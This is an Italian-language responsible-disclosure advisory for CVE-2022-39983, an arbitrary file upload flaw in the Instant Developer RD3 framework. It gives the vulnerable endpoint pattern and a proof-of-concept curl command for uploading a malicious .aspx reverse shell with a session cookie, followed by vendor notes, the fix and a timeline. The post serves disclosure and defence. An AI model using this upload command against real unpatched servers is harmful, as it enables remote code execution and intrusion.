CVE-2022-39983: arbitrary file upload nel framework Instant Developer RD3

Una libreria del framework RD3 di Instant Developer consente l'upload di file arbitrari e l'esecuzione di codice remoto su tutte le webapp costruite con versioni precedenti alla 22.5 r23.

CVE
CVE-2022-39983
Prodotto
Instant Developer RD3 Framework < 22.5 r23
CVSS
9.8
Severità
critical
Stato
patched

TL;DR

Il framework Instant Developer RD3, nelle versioni precedenti alla 22.5 r23, contiene nella libreria full.js un endpoint di upload che non limita il tipo di file caricabili. Un attaccante con una sessione autenticata valida può caricare una web shell .aspx ed eseguire comandi arbitrari sul server. La falla interessa tutte le applicazioni sviluppate con le versioni vulnerabili del framework.

Ricerca che ho condotto nel mio lavoro in Tinexta Cyber, pubblicata secondo responsible disclosure.

Contesto

Instant Developer è una famiglia di piattaforme low-code per lo sviluppo di applicazioni multicanale. Trattandosi di un framework, una vulnerabilità al suo interno si propaga a ogni applicazione che ne eredita il runtime: non un singolo prodotto, ma l’intero parco di webapp dei clienti che lo usano.

Dettaglio

Asset Vulnerabilità CVSS v3.1 Severità
Instant Developer RD3 Framework < 22.5 r23 Arbitrary File Upload 9.8 Critical
  • CWE-434: Unrestricted Upload of File with Dangerous Type
  • Vettore CVSS v3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • OWASP Top 10 2021: A04 — Insecure Design

La vulnerabilità risiede nella libreria full.js del framework. L’analisi del codice client ha permesso di identificare l’entrypoint responsabile dell’upload e di ricostruire la richiesta necessaria a inviare un file arbitrario. Questo consente a un attaccante di caricare file malevoli per eseguire codice arbitrario (ad esempio una reverse shell) e, da lì, cercare credenziali, muoversi lateralmente nell’infrastruttura o provocare disservizi.

L’endpoint vulnerabile ha la forma:

https://<TARGET>/<app>/<file>.aspx/?WCI=IWFiles&WCE=&SESSIONID=<SESSION_ID>

Proof of Concept

Analizzando full.js si individua la porzione di codice relativa all’upload.

Codice sorgente di full.js

Ricostruita la richiesta, è stato possibile caricare una reverse shell .aspx con una semplice chiamata curl:

curl -kis -F "Filedata=@<FILE_MALEVOLO>.aspx" \
  -H "Cookie: ASP.NET_SessionId=<SESSION_ID>" \
  -A Chrome \
  "https://<TARGET>/<app>/<file>.aspx/?WCI=IWFiles&WCE=&SESSIONID=<SESSION_ID>"

Upload della reverse shell

Reverse shell interattiva sul server target

Fix e mitigazioni

Ricompilare l’applicazione con l’ultima versione del framework (22.5 r23 o successiva).

Considerazioni del vendor

Durante la disclosure il vendor ha fornito alcune precisazioni sulle condizioni di sfruttamento e sulle contromisure introdotte:

  1. Per sfruttare la falla è necessario conoscere il SessionID di una sessione autenticata: serve l’accesso a un browser con una sessione di login attiva.
  2. Se lo sviluppatore non ha rimosso l’autenticazione dalla propria applicazione, dalla versione 20.5 il sistema non permette l’upload in sessioni non autenticate. Spetta al programmatore validare le credenziali e autorizzare l’accesso.
  3. Dalla versione 22.0, nella cartella TEMP dell’applicazione è presente un file che impedisce l’esecuzione di file arbitrari: non va rimosso e va installato correttamente in produzione.
  4. All’upload da sessione autenticata, spetta al programmatore decidere se accettare il file implementando l’evento OnFileUpload; un file rifiutato viene rimosso immediatamente dal disco.
  5. Pro Gamma fornisce un ambiente di sviluppo general purpose: è compito del programmatore sviluppare l’applicazione e configurare il web server quando questa è esposta su internet.

Timeline

Data Evento
2022-07-25 Scoperta della vulnerabilità
2022-08-24 Primo contatto con il vendor (nessuna risposta)
2022-08-29 Richiesta del CVE-ID al MITRE
2022-09-07 Secondo contatto con il vendor (con risposta)
2022-09-15 Condivisione del report con il vendor
2023-01-23 Rilascio della versione 22.5 r23
2023-02-15 Assegnazione di CVE-2022-39983
2023-02-20 Pubblicazione del security advisory

Riferimenti

← tutti i post